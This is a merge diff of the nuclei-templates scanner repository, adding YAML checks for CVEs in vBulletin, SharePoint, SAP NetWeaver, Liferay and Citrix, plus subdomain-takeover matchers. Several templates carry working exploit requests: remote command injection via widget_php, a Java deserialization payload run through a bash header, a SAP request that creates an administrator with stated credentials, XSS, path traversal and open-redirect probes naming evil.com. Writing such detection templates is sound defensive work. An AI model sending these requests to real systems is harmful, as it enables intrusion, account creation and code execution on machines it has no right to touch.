Merge pull request #249 from projectdiscovery/add-cisco-asa-cve

Create cve-2020-3452.yaml

.gitignore

@@ -0,0 +1,2 @@
+
+.DS_Store

GUIDE.md

@@ -61,6 +61,8 @@ info:
   author: Ice3man
   # Severity is the severity for the template.
   severity: medium
+  #  Description optionally describes the template.
+  description: Searches for the pattern /.git/config on passed URLs.
 ```
 
 Actual requests and corresponding matchers are placed below the info block and they perform the task of making requests to target servers and finding if the template request was successful.
@@ -423,6 +425,7 @@ info:
   name: Git Config File
   author: Ice3man
   severity: medium
+  description: Searches for the pattern /.git/config on passed URLs.
 
 requests:
   - method: GET
@@ -525,6 +528,7 @@ info:
   name: Dummy A dns request
   author: mzack9999
   severity: none
+  description: Checks if CNAME and A record is returned.
 
 dns:
   - name: "{{FQDN}}"
@@ -555,6 +559,7 @@ id: workflow-example
 info:
   name: Jira-Pawner
   author: mzack9999
+  description: Detect Jira and if found; then check for CVEs in list.
 
 variables:
 
@@ -586,6 +591,7 @@ id: workflow-example
 info:
   name: Jira-Pawner
   author: mzack9999
+  description: Detect Jira and if found; perform custom pwn.
 
 variables:
 

cves/CVE-2019-16759.yaml

@@ -0,0 +1,25 @@
+id: CVE-2019-16759
+
+info:
+  name: 0day RCE in vBulletin v5.0.0-v5.5.4
+  author: dwisiswant0
+  severity: high
+
+requests:
+  - raw:
+      - |
+        POST /index.php?routestring=ajax/render/widget_php HTTP/1.1
+
+        widgetConfig[code]=echo%20%27bm9uZXhpc3RlbnQ6MTMzNwo=%27%20|%20base64%20-d;%20exit;
+      - |
+        POST / HTTP/1.1
+
+        {"routestring":"ajax\/render\/widget_php","widgetConfig[code]":"echo 'bm9uZXhpc3RlbnQ6MTMzNwo=' | base64 -d; exit;"}
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "nonexistent:1337"

cves/CVE-2020-1147.yaml

@@ -0,0 +1,35 @@
+id: CVE-2020-1147
+
+info:
+  name: RCE at SharePoint Server (.NET Framework & Visual Studio) detection
+  author: dwisiswant0
+  severity: critical
+
+  # Ref:
+  # - https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1147
+  # - https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/_layouts/15/listform.aspx?PageType=1&ListId=%7B13371337-1337-1337-1337-133713371337%7D"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "List does not exist"
+          - "It may have been deleted by another user"
+        part: body
+        condition: and
+      - type: word
+        words:
+          - "Microsoft-IIS"
+          - "X-SharePointHealthScore"
+          - "SharePointError"
+          - "SPRequestGuid"
+          - "MicrosoftSharePointTeamServices"
+        condition: or
+        part: header
+      - type: status
+        status:
+          - 200

cves/CVE-2020-6287.yaml

@@ -0,0 +1,37 @@
+id: CVE-2020-6287
+
+info:
+  name: Create an Administrative User in SAP NetWeaver AS JAVA (LM Configuration Wizard)
+  author: dwisiswant0
+  severity: critical
+
+  # Affected Versions: 7.30, 7.31, 7.40, 7.50
+
+  # p.s:
+  # > Don't forget to change the default credentials
+  # > to create new admin in associated file:
+  # > `payloads/CVE-2020-6287.xml`
+
+  # Ref:
+  # - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6287
+
+requests:
+  - payloads:
+      data: "payloads/CVE-2020-6287.xml"
+    raw:
+      - |
+        POST /CTCWebService/CTCWebServiceBean/ConfigServlet HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: text/xml; charset=UTF-8
+        Connection: close
+
+        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi"><soapenv:Header/><soapenv:Body><urn:executeSynchronious><identifier><component>sap.com/tc~lm~config~content</component><path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path></identifier><contextMessages><baData>{{base64(data)}}</baData><name>userDetails</name></contextMessages></urn:executeSynchronious></soapenv:Body></soapenv:Envelope>
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "urn:CTCWebServiceSi"
+        part: body
+      - type: status
+        status:
+          - 200

cves/CVE-2020-7961.yaml

@@ -14,10 +14,10 @@ requests:
       User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55"
       Connection: "close"
       Content-Type: "application/x-www-form-urlencoded"
-      cmd2: "bash -c 'curl -v \"http://nonexistent/\" -H \"Connection: close\"' -m 1"
+      cmd2: "bash -c 'echo \"bm9uZXhpc3RlbnQ6MTMzNwo=\" | base64 -d'"
     body: "{\"p_auth\":\"AdsXeCqz\",\"tableId%3d1\":\"\",\"formDate\":\"1526638413000\",\"columnId\":\"123\",\"defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\":\"{\\\"userOverridesAsString\\\":\\\"HexAsciiSerializedMap:ACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000023F40000000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00037870767200206A617661782E7363726970742E536372697074456E67696E654D616E61676572000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000B6E6577496E7374616E6365757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007371007E00137571007E00180000000174000A4A61766153637269707474000F676574456E67696E6542794E616D657571007E001B00000001767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707371007E0013757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017404567661722063757272656E74546872656164203D20636F6D2E6C6966657261792E706F7274616C2E736572766963652E53657276696365436F6E746578745468726561644C6F63616C2E67657453657276696365436F6E7465787428293B0A76617220697357696E203D206A6176612E6C616E672E53797374656D2E67657450726F706572747928226F732E6E616D6522292E746F4C6F7765724361736528292E636F6E7461696E73282277696E22293B0A7661722072657175657374203D2063757272656E745468726561642E6765745265717565737428293B0A766172205F726571203D206F72672E6170616368652E636174616C696E612E636F6E6E6563746F722E526571756573744661636164652E636C6173732E6765744465636C617265644669656C6428227265717565737422293B0A5F7265712E73657441636365737369626C652874727565293B0A766172207265616C52657175657374203D205F7265712E6765742872657175657374293B0A76617220726573706F6E7365203D207265616C526571756573742E676574526573706F6E736528293B0A766172206F757470757453747265616D203D20726573706F6E73652E6765744F757470757453747265616D28293B0A76617220636D64203D206E6577206A6176612E6C616E672E537472696E6728726571756573742E6765744865616465722822636D64322229293B0A766172206C697374436D64203D206E6577206A6176612E7574696C2E41727261794C69737428293B0A7661722070203D206E6577206A6176612E6C616E672E50726F636573734275696C64657228293B0A696628697357696E297B0A20202020702E636F6D6D616E642822636D642E657865222C20222F63222C20636D64293B0A7D656C73657B0A20202020702E636F6D6D616E64282262617368222C20222D63222C20636D64293B0A7D0A702E72656469726563744572726F7253747265616D2874727565293B0A7661722070726F63657373203D20702E737461727428293B0A76617220696E70757453747265616D526561646572203D206E6577206A6176612E696F2E496E70757453747265616D5265616465722870726F636573732E676574496E70757453747265616D2829293B0A766172206275666665726564526561646572203D206E6577206A6176612E696F2E427566666572656452656164657228696E70757453747265616D526561646572293B0A766172206C696E65203D2022223B0A7661722066756C6C54657874203D2022223B0A7768696C6528286C696E65203D2062756666657265645265616465722E726561644C696E6528292920213D206E756C6C297B0A2020202066756C6C54657874203D2066756C6C54657874202B206C696E65202B20225C6E223B0A7D0A766172206279746573203D2066756C6C546578742E676574427974657328225554462D3822293B0A6F757470757453747265616D2E7772697465286279746573293B0A6F757470757453747265616D2E636C6F736528293B0A7400046576616C7571007E001B0000000171007E00237371007E000F737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000077080000001000000000787878;\\\"}\",\"name\":\"A\",\"cmd\":\"{\\\"/expandocolumn/update-column\\\":{}}\"Line truncated
     matchers:
       - type: word
         words:
-          - "Could not resolve host"
+          - "nonexistent:1337"
         part: body

cves/CVE-2020-8191.yaml

@@ -0,0 +1,34 @@
+id: CVE-2020-8191
+
+info:
+  name: Citrix ADC & NetScaler Gateway Reflected XSS
+  # Leads to RCE
+  author: dwisiswant0
+  severity: high
+
+requests:
+  - raw:
+      - |
+        POST /menu/stapp HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        DNT: 1
+        Connection: close
+        Upgrade-Insecure-Requests: 1
+        Content-Length: 96
+        Content-Type: application/x-www-form-urlencoded
+        X-NITRO-USER: xpyZxwy6
+
+        sid=254&pe=1,2,3,4,5&appname=%0a</title><script>alert(31337)</script>&au=1&username=nsroot
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "</title><script>alert(31337)</script>"
+        part: body
+      - type: status
+        status:
+          - 200

cves/CVE-2020-8193.yaml

@@ -0,0 +1,32 @@
+id: CVE-2020-8193
+
+info:
+  name: Citrix unauthenticated LFI
+  author: pdteam
+  severity: high
+
+  # Source:- https://github.com/jas502n/CVE-2020-8193
+  # This template covers only detection part, use the above exploit for the exploit confirmation.
+
+requests:
+  - raw:
+      - |
+        POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+        Content-Type: application/xml
+        X-NITRO-USER: xpyZxwy6
+        X-NITRO-PASS: xWXHUJ56
+
+        <appfwprofile><login></login></appfwprofile>
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "Set-Cookie: SESSID"
+        part: header
+
+      - type: status
+        status:
+          - 406

cves/CVE-2020-8194.yaml

@@ -0,0 +1,34 @@
+id: CVE-2020-8194
+
+info:
+  name: Citrix ADC & NetScaler Gateway Reflected Code Injection
+  author: dwisiswant0
+  severity: high
+
+requests:
+  - raw:
+      - |
+        GET /menu/guiw?nsbrand=1&protocol=nonexistent.1337">&id=3&nsvpx=phpinfo HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        DNT: 1
+        Connection: close
+        Cookie: startupapp=st
+        Upgrade-Insecure-Requests: 1
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "<jnlp codebase=\"nonexistent.1337\">"
+        part: body
+      - type: word
+        words:
+          - "application/x-java-jnlp-file"
+        part: header
+      - type: status
+        status:
+          - 200

cves/cve-2020-3452.yaml

@@ -0,0 +1,19 @@
+id: cve-2020-3452
+
+# Source: https://twitter.com/aboul3la/status/1286012324722155525
+
+info:
+  name: CVE-2020-3452
+  author: pdteam
+  severity: medium
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../"
+    matchers:
+      - type: word
+        words:
+          - "INTERNAL_PASSWORD_ENABLED"
+          - "CONF_VIRTUAL_KEYBOARD"
+        condition: and

dns/azure-cnames-finder.yaml

@@ -1,37 +0,0 @@
-id: azure-cnames-finder
-
-info:
-  name: Azure CNAMEs
-  author: mzack9999
-  severity: informative
-
-  # Update the list with more CNAMEs related to azure
-
-dns:
-  - name: "{{FQDN}}"
-    type: A
-    class: inet
-    recursion: true
-    retries: 3
-    matchers:
-      - type: word
-        words:
-          - "azure-api.net"
-          - "azure-mobile.net"
-          - "azurecontainer.io"
-          - "azurecr.io"
-          - "azuredatalakestore.net"
-          - "azureedge.net"
-          - "azurefd.net"
-          - "azurehdinsight.net"
-          - "azurewebsites.net"
-          - "azurewebsites.windows.net"
-          - "blob.core.windows.net"
-          - "cloudapp.azure.com"
-          - "cloudapp.net"
-          - "database.windows.net"
-          - "redis.cache.windows.net"
-          - "search.windows.net"
-          - "servicebus.windows.net"
-          - "trafficmanager.net"
-          - "visualstudio.com"

dns/filter-valid.yaml

@@ -1,19 +0,0 @@
-id: filter-valid
-
-info:
-  name: Valid Domains Filter
-  author: mzack9999
-  severity: informative
-
-dns:
-  - name: "{{FQDN}}"  # Random prefix
-    type: A
-    class: inet
-    recursion: true
-    retries: 3
-    matchers:
-      - type: word
-        words:
-          - "NOERROR"
-          - "IN\tCNAME"
-          - "IN\tA"

dns/filter-wildcard.yaml

@@ -1,19 +0,0 @@
-id: filter-wildcard
-
-info:
-  name: Wildcard Filter
-  author: mzack9999
-  severity: informative
-
-dns:
-  - name: "0831058744.{{FQDN}}"  # Random prefix
-    type: A
-    class: inet
-    recursion: true
-    retries: 3
-    matchers:
-      - type: word
-        words:
-          - "NXDOMAIN"
-          - "SERVFAIL"
-          - "REFUSED"

files/git-config.yaml

@@ -4,6 +4,7 @@ info:
   name: Git Config Disclosure
   author: Ice3man
   severity: medium
+  description: Searches for the pattern /.git/config on passed URLs.
 
 requests:
   - method: GET

panels/sap-recon-detect.yaml

@@ -0,0 +1,35 @@
+id: sap-recon-detect
+
+info:
+  name: SAP RECON Finder
+  author: samueladi_ & organiccrap
+  severity: medium
+
+  # Source:- https://github.com/chipik/SAP_RECON
+  # This is detection template, please use above poc to exploit this further.
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/CTCWebService/CTCWebServiceBean"
+      - "{{BaseURL}}/CTCWebService/CTCWebServiceBean?wsdl"
+      - "{{BaseURL}}/CTCWebService/Config1?wsdl"
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - Method Not Allowed
+          - Expected request method POST. Found GET.
+          - Generated by WSDLDefinitionsParser
+          - bns0:Config1Binding
+          - wsdl:definitions
+          - tns:CTCWebServiceSiBinding
+        condition: or
+
+      - type: status
+        status:
+          - 405
+          - 200
+        condition: or

payloads/CVE-2020-6287.xml

@@ -0,0 +1 @@
+<root><user><JavaOrABAP>java</JavaOrABAP><username>projectdiscover</username><password>proj3ctD1$c0v3ry</password><userType></userType></user></root>

security-misconfiguration/springboot-detect.yaml

@@ -95,6 +95,7 @@ requests:
         words:
           - "X-Application-Context"
           - "application/json"
+          - "application/vnd.spring-boot.actuator.v2+json"
           - "hprof"
         condition: or
         part: header

subdomain-takeover/detect-all-takeovers.yaml

@@ -1,15 +1,16 @@
 id: detect-all-takeovers
 
 info:
-  name: Subdomain takeover finder
+  name: Subdomain Takeover Detection
   author: "melbadry9 & pxmme1337"
   severity: high
 
   # Update this list with new takeovers matchers
   # Do not delete other template files for takeover
   # https://github.com/EdOverflow/can-i-take-over-xyz
-  # You need to claim the CNAME the subdomain to confirm the takeover.
-  # Do not report this without claiming the CNAME.
+  # You need to claim the subdomain / CNAME of the subdomain to confirm the takeover.
+  # Do not report subdomain takeover issues only based on detection.
+  # Total number of services #69
 
 requests:
   - method: GET
@@ -18,105 +19,6 @@ requests:
     matchers-condition: or
 
     matchers:
-      - type: word
-        name: pantheon.io
-        words:
-          - "The gods are wise, but do not know of the site which you seek."
-
-      - type: word
-        name: aws-s3-bucket
-        words:
-          - "The specified bucket does not exist"
-
-      - type: word
-        name: anima
-        words:
-          - "If this is your website and you've just created it, try refreshing in a minute"
-
-      - type: word
-        name: ghost
-        words:
-          - "The thing you were looking for is no longer here, or never was"
-
-      - type: regex
-        name: worksites
-        regex:
-          - "(?:Company Not Found|you’re looking for doesn’t exist)"
-
-      - type: word
-        name: landingi
-        words:
-          - It looks like you're lost
-          - The page you are looking for is not found
-
-      - type: word
-        name: helprace
-        words:
-          - Alias not configured!
-          - Admin of this Helprace account needs to set up domain alias
-          - "(see Step 2 here: Using your own domain with Helprace)."
-
-      - type: word
-        name: canny
-        words:
-          - Company Not Found
-          - There is no such company. Did you enter the right URL?
-
-      - type: word
-        name: ngrok
-        words:
-          - ngrok.io not found
-          - Tunnel *.ngrok.io not found
-
-      - type: word
-        name: tumblr
-        words:
-          - Whatever you were looking for doesn't currently exist at this address.
-          - There's nothing here.
-
-      - type: word
-        name: github
-        words:
-          - There isn't a GitHub Pages site here.
-          - For root URLs (like http://example.com/) you must provide an index.html file
-
-      - type: word
-        name: heroku
-        words:
-          - There's nothing here, yet.
-          - herokucdn.com/error-pages/no-such-app.html
-          - "<title>No such app</title>"
-
-      - type: word
-        name: tictail
-        words:
-          - Building a brand of your own?
-          - 'to target URL: <a href="https://tictail.com'
-          - Start selling on Tictail.
-
-      - type: word
-        name: campaignmonitor
-        words:
-          - "<strong>Trying to access your account?</strong>"
-          - or <a href="mailto:[email protected]
-
-      - type: word
-        name: cargocollective
-        words:
-          - <div class="notfound">
-          - 404 Not Found<br>
-
-      - type: word
-        name: bitbucket
-        words:
-          - The page you have requested does not exist
-          - Repository not found
-
-      - type: word
-        name: smartling
-        words:
-          - Domain is not configured
-
       - type: word
         name: acquia
         words:
@@ -124,93 +26,14 @@ requests:
           - The site you are looking for could not be found.
 
       - type: word
-        name: uservoice
+        name: agilecrm
         words:
-          - This UserVoice subdomain is currently available!
+          - Sorry, this page is no longer available.
 
       - type: word
-        name: ghost
+        name: airee
         words:
-          - The thing you were looking for is no longer here
-          - The thing you were looking for is no longer here, or never was
-
-      - type: word
-        name: tilda
-        words:
-          - Domain has been assigned
-
-      - type: word
-        name: wordpress
-        words:
-          - Do you want to register
-
-      - type: word
-        name: teamwork
-        words:
-          - Oops - We didn't find your site.
-
-      - type: word
-        name: helpjuice
-        words:
-          - We could not find what you're looking for.
-
-      - type: word
-        name: helpscout
-        words:
-          - "No settings were found for this company:"
-
-      - type: word
-        name: cargo
-        words:
-          - If you're moving your domain away from Cargo you must make this configuration
-            through your registrar's DNS control panel.
-
-      - type: word
-        name: feedpress
-        words:
-          - The feed has not been found.
-
-      - type: word
-        name: surge
-        words:
-          - project not found
-
-      - type: word
-        name: surveygizmo
-        words:
-          - data-html-name
-
-      - type: word
-        name: mashery
-        words:
-          - Unrecognized domain <strong>
-
-      - type: word
-        name: intercom
-        words:
-          - This page is reserved for artistic dogs.
-          - <h1 class="headline">Uh oh. That page doesn’t exist.</h1>
-
-      - type: word
-        name: webflow
-        words:
-          - <p class="description">The page you are looking for doesn't exist or has been
-            moved.</p>
-
-      - type: word
-        name: thinkific
-        words:
-          - You may have mistyped the address or the page may have moved.
-
-      - type: word
-        name: tave
-        words:
-          - "<h1>Error 404: Page Not Found</h1>"
-
-      - type: word
-        name: wishpond
-        words:
-          - https://www.wishpond.com/404?campaign=true
+          - Ошибка 402. Сервис Айри.рф не оплачен
 
       - type: word
         name: aftership
@@ -224,9 +47,14 @@ requests:
           - There is no portal here ... sending you back to Aha!
 
       - type: word
-        name: brightcove
+        name: anima
         words:
-          - '<p class="bc-gallery-error-code">Error Code: 404</p>'
+          - "If this is your website and you've just created it, try refreshing in a minute"
+
+      - type: word
+        name: aws-bucket
+        words:
+          - "The specified bucket does not exist"
 
       - type: word
         name: bigcartel
@@ -234,24 +62,62 @@ requests:
           - "<h1>Oops! We couldn&#8217;t find that page.</h1>"
 
       - type: word
-        name: compaignmonitor
+        name: bitbucket
         words:
-          - Double check the URL or <a href="mailto:[email protected]
+          - The page you have requested does not exist
+          - Repository not found
 
       - type: word
-        name: acquia
+        name: brightcove
         words:
-          - The site you are looking for could not be found.
+          - '<p class="bc-gallery-error-code">Error Code: 404</p>'
 
       - type: word
-        name: proposify
+        name: campaignmonitor
         words:
-          - If you need immediate assistance, please contact <a href="mailto:[email protected]
+          - "<strong>Trying to access your account?</strong>"
+          - or <a href="mailto:[email protected]
 
       - type: word
-        name: simplebooklet
+        name: canny
         words:
-          - We can't find this <a href="https://simplebooklet.com
+          - Company Not Found
+          - There is no such company. Did you enter the right URL?
+
+      - type: word
+        name: cargo
+        words:
+          - If you're moving your domain away from Cargo you must make this configuration
+            through your registrar's DNS control panel.
+
+      - type: word
+        name: cargocollective
+        words:
+          - <div class="notfound">
+          - 404 Not Found<br>
+
+      - type: word
+        name: fastly
+        words:
+          - "Fastly error: unknown domain:"
+
+      - type: word
+        name: feedpress
+        words:
+          - The feed has not been found.
+
+      - type: word
+        name: frontify
+        words:
+          - 404 - Page Not Found
+          - Oops… looks like you got lost
+        condition: and
+        part: body
+
+      - type: word
+        name: gemfury
+        words:
+          - "404: This page could not be found."
 
       - type: word
         name: getresponse
@@ -259,58 +125,46 @@ requests:
           - With GetResponse Landing Pages, lead generation has never been easier
 
       - type: word
-        name: vend
+        name: ghost
         words:
-          - Looks like you've traveled too far into cyberspace.
+          - The thing you were looking for is no longer here
+          - The thing you were looking for is no longer here, or never was
 
       - type: word
-        name: jetbrains
+        name: github
         words:
-          - is not a registered InCloud YouTrack.
+          - There isn't a GitHub Pages site here.
+          - For root URLs (like http://example.com/) you must provide an index.html file
 
       - type: word
-        name: readme
-        words:
-          - Project doesnt exist... yet!
-
-      - type: word
-        name: smugmug
-        words:
-          - '{"text":"Page Not Found"'
-
-      - type: word
-        name: airee
-        words:
-          - Ошибка 402. Сервис Айри.рф не оплачен
-
-      - type: word
-        name: kinsta
-        words:
-          - No Site For Domain
-
-      - type: word
-        name: launchrock
-        words:
-          - It looks like you may have taken a wrong turn somewhere. Don't worry...it happens
-            to all of us.
-
-      - type: word
-        name: Strikingly
-        words:
-          - But if you're looking to build your own website
-          - you've come to the right place.
-
-      - type: word
-        name: HatenaBlog
+        name: hatenablog
         words:
           - 404 Blog is not found
           - Sorry, we can't find the page you're looking for.
 
       - type: word
-        name: wufoo
+        name: helpjuice
         words:
-          - Profile not found
-          - Hmmm....something is not right.
+          - We could not find what you're looking for.
+
+      - type: word
+        name: helprace
+        words:
+          - Alias not configured!
+          - Admin of this Helprace account needs to set up domain alias
+          - "(see Step 2 here: Using your own domain with Helprace)."
+
+      - type: word
+        name: helpscout
+        words:
+          - "No settings were found for this company:"
+
+      - type: word
+        name: heroku
+        words:
+          - There's nothing here, yet.
+          - herokucdn.com/error-pages/no-such-app.html
+          - "<title>No such app</title>"
 
       - type: word
         name: hubspot
@@ -318,27 +172,54 @@ requests:
           - Domain not found
           - does not exist in our system
 
+      - type: word
+        name: intercom
+        words:
+          - This page is reserved for artistic dogs.
+          - <h1 class="headline">Uh oh. That page doesn’t exist.</h1>
+
       - type: word
         name: jazzhr
         words:
           - This account no longer active
 
       - type: word
-        name: smartjob
+        name: jetbrains
         words:
-          - Job Board Is Unavailable
-          - This job board website is either expired
-          - This job board website is either expired or its domain name is invalid.
-
-      - type: regex
-        name: Uptimerobot
-        regex:
-          - "^page not found$"
+          - is not a registered InCloud YouTrack.
 
       - type: word
-        name: agile
+        name: kinsta
         words:
-          - Sorry, this page is no longer available.
+          - No Site For Domain
+
+      - type: word
+        name: landingi
+        words:
+          - It looks like you're lost
+          - The page you are looking for is not found
+
+      - type: word
+        name: launchrock
+        words:
+          - It looks like you may have taken a wrong turn somewhere. Don't worry...it happens
+            to all of us.
+
+      - type: word
+        name: mashery
+        words:
+          - Unrecognized domain <strong>
+
+      - type: word
+        name: ngrok
+        words:
+          - ngrok.io not found
+          - Tunnel *.ngrok.io not found
+
+      - type: word
+        name: pantheon.io
+        words:
+          - "The gods are wise, but do not know of the site which you seek."
 
       - type: word
         name: pingdom
@@ -346,7 +227,150 @@ requests:
           - Public Report Not Activated
           - This public report page has not been activated by the user
 
+      - type: word
+        name: proposify
+        words:
+          - If you need immediate assistance, please contact <a href="mailto:[email protected]
+
+      - type: word
+        name: readme
+        words:
+          - Project doesnt exist... yet!
+
+      - type: word
+        name: shopify
+        words:
+          - "Sorry, this shop is currently unavailable."
+
+      - type: word
+        name: simplebooklet
+        words:
+          - We can't find this <a href="https://simplebooklet.com
+
+      - type: word
+        name: smartjob
+        words:
+          - Job Board Is Unavailable
+          - This job board website is either expired
+          - This job board website is either expired or its domain name is invalid.
+
+      - type: word
+        name: smartling
+        words:
+          - Domain is not configured
+
+      - type: word
+        name: smugmug
+        words:
+          - '{"text":"Page Not Found"'
+
+      - type: word
+        name: strikingly
+        words:
+          - But if you're looking to build your own website
+          - you've come to the right place.
+
+      - type: word
+        name: surge
+        words:
+          - project not found
+
+      - type: word
+        name: surveygizmo
+        words:
+          - data-html-name
+
+      - type: word
+        name: tave
+        words:
+          - "<h1>Error 404: Page Not Found</h1>"
+
+      - type: word
+        name: teamwork
+        words:
+          - Oops - We didn't find your site.
+
+      - type: word
+        name: thinkific
+        words:
+          - You may have mistyped the address or the page may have moved.
+
+      - type: word
+        name: tictail
+        words:
+          - Building a brand of your own?
+          - 'to target URL: <a href="https://tictail.com'
+          - Start selling on Tictail.
+
+      - type: word
+        name: tilda
+        words:
+          - Domain has been assigned
+
+      - type: word
+        name: tumblr
+        words:
+          - Whatever you were looking for doesn't currently exist at this address.
+          - There's nothing here.
+
+      - type: word
+        name: uberflip
+        words:
+          - "Non-hub domain, The URL you've accessed does not provide a hub."
+
+      - type: word
+        name: unbounce
+        words:
+          - "The requested URL was not found on this server."
+
+      - type: regex
+        name: uptimerobot
+        regex:
+          - "^page not found$"
+
+      - type: word
+        name: uservoice
+        words:
+          - This UserVoice subdomain is currently available!
+
+      - type: word
+        name: vend
+        words:
+          - Looks like you've traveled too far into cyberspace.
+
+      - type: word
+        name: webflow
+        words:
+          - <p class="description">The page you are looking for doesn't exist or has been
+            moved.</p>
+
+      - type: word
+        name: wishpond
+        words:
+          - https://www.wishpond.com/404?campaign=true
+
+      - type: word
+        name: wordpress
+        words:
+          - Do you want to register
+
+      - type: regex
+        name: worksites
+        regex:
+          - "(?:Company Not Found|you&rsquo;re looking for doesn&rsquo;t exist)"
+
+      - type: word
+        name: wufoo
+        words:
+          - Profile not found
+          - Hmmm....something is not right.
+
       - type: word
         name: zendesk
         words:
           - this help center no longer exists
+
+      - type: word
+        name: readthedocs
+        words:
+          - unknown to Read the Docs

subdomain-takeover/pantheon.io.yaml

@@ -1,15 +0,0 @@
-id: pantheon-io-takeover
-
-info:
-  name: Find Pantheon.io subdomain takeover
-  author: pxmme1337
-  severity: high
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/"
-    matchers:
-      - type: word
-        words:
-          - "The gods are wise, but do not know of the site which you seek."

subdomain-takeover/worksites-takeover.yaml

@@ -1,16 +0,0 @@
-id: worksites-takeover
-
-info:
-  name: Find worksites-takeover
-  author: melbadry9
-  severity: high
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/"
-    matchers:
-      - type: regex
-        regex:
-          - "(?:Company Not Found|you’re looking for doesn’t exist)"
-        part: body

technologies/sap-netweaver-as-java-detect.yaml

@@ -0,0 +1,20 @@
+id: sap-netweaver-as-java-detect
+
+info:
+  name: SAP NetWeaver AS JAVA (LM Configuration Wizard) Detection
+  author: dwisiswant0
+  severity: informative
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/CTCWebService/CTCWebServiceBean?wsdl"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "urn:CTCWebServiceSi"
+        part: body
+      - type: status
+        status:
+          - 200

vulnerabilities/open-redirect.yaml

@@ -12,14 +12,13 @@ requests:
       - "{{BaseURL}}/evil.com/"
       - "{{BaseURL}}///;@evil.com"
       - "{{BaseURL}}/////evil.com"
-      - "{{BaseURL}}//evil.com/%2F.." # Node.js
-      - "{{BaseURL}}//evil.com/..;/css" # Tomcat
-      - "{{BaseURL}}/evil%E3%80%82com" # special char urlencoded
+      - "{{BaseURL}}//evil.com/%2F.."
+      - "{{BaseURL}}//evil.com/..;/css"
+      - "{{BaseURL}}/evil%E3%80%82com"
       - "{{BaseURL}}/%5Cevil.com"
-      # common vulnerable parameters
